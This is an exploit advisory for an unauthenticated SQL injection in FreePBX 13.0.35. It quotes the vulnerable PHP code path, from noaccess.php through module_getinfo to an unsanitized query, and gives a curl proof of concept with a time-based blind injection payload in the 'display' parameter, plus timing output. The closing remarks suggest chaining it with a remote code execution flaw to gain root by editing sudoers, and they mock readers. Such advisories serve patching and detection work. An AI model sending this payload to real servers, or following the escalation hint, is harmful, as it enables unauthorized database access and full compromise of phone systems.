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FreePBX 13.0.35 - SQL Injection
Vulnerable software : Freepbx Tested version : 13.0.35 vendor : freepbx.org Author : i-Hmx Email : n0p1337@gmail.com Home : sec4ever.com Freepbx suffer from unauthenticated sql injection flaw due to insufficient sanitization of "display" parameter File : admin/libraries/DB.class.php public function getAll($sql,$params=array(),$fetchmode=DB_FETCHMODE_DEFAULT) { //this is a sad workaround for people who couldn't follow documentation for functions $fetchmode = $this->isFetchMode($params) ? $params : $fetchmode; self::$error = null; try { $fetch = $this->correctFetchMode($fetchmode); if(!empty($params) && is_array($params)) { $this->res = $this->db->prepare($sql); ------->>>>> $this->res->execute($params); return $this->res->fetchAll($fetch); } $this->res = $this->db->query($sql); if($this->res === false) { return false; } return $this->res->fetchAll($fetch); } catch (Exception $e) { return new DB_Error($e); } } File : admin/libraries/modulefunctions.class.php Line 593 function getinfo($module = false, $status = false, $forceload = false) { global $amp_conf, $db; $modules = array(); if ($module) { // get info on only one module $xml = $this->_readxml($module); if (!is_null($xml)) { $modules[$module] = $xml; // if status is anything else, it will be updated below when we read the db $modules[$module]['status'] = MODULE_STATUS_NOTINSTALLED; } // query to get just this one ---===>>>> $sql = 'SELECT * FROM modules WHERE modulename = "'.$module.'"'; } if ($module || !$modulelist->is_loaded()) { ---===>>>$results = $db->getAll($sql,DB_FETCHMODE_ASSOC); if(DB::IsError($results)) { die_freepbx($sql."<br>\n".$results->getMessage()); } File : admin/libraries/modulefunctions.legacy.php Line 52 function module_getinfo($module = false, $status = false, $forceload = false) { _module_backtrace(); $modulef = module_functions::create(); ---===>>> return $modulef->getinfo($module, $status, $forceload); } File : admin/views/noaccess.php <?php $display = isset($_REQUEST['display'])?$_REQUEST['display']:false; ---===>>> $modinfo = \module_getinfo($display); 'display' parameter is being passed to sql execute() func without perior sanitization which lead to obvious sql injection flaw without any pre-needed authentication POC : Normal request [root:/fpbx]# curl -o /dev/null -s -w "Total request time : %{time_connect} + %{time_starttransfer} = %{time_total}\n" 'http://x.x.x.x/admin/config.php?display=f4ris' Total request time : 0.001 + 0.309 = 0.334 Sql injected [root:/fpbx]# curl -o /dev/null -s -w "Total request time : %{time_connect} + %{time_starttransfer} = %{time_total}\n" 'http://x.x.x.x/admin/config.php?display=f4ris"XOR(if(6661=6661,sleep(0.03),0))OR"*/' Total request time : 0.158 + 4.391 = 4.417 # Mix this with the 13.0.35 RCE one , and you are ok to get root just by echoing asterisk to the sudoers ;) # We're still ruling the game idiots , from Eg-R1z with dust xDD # ./f4ris # 0day.today [2024-09-28] #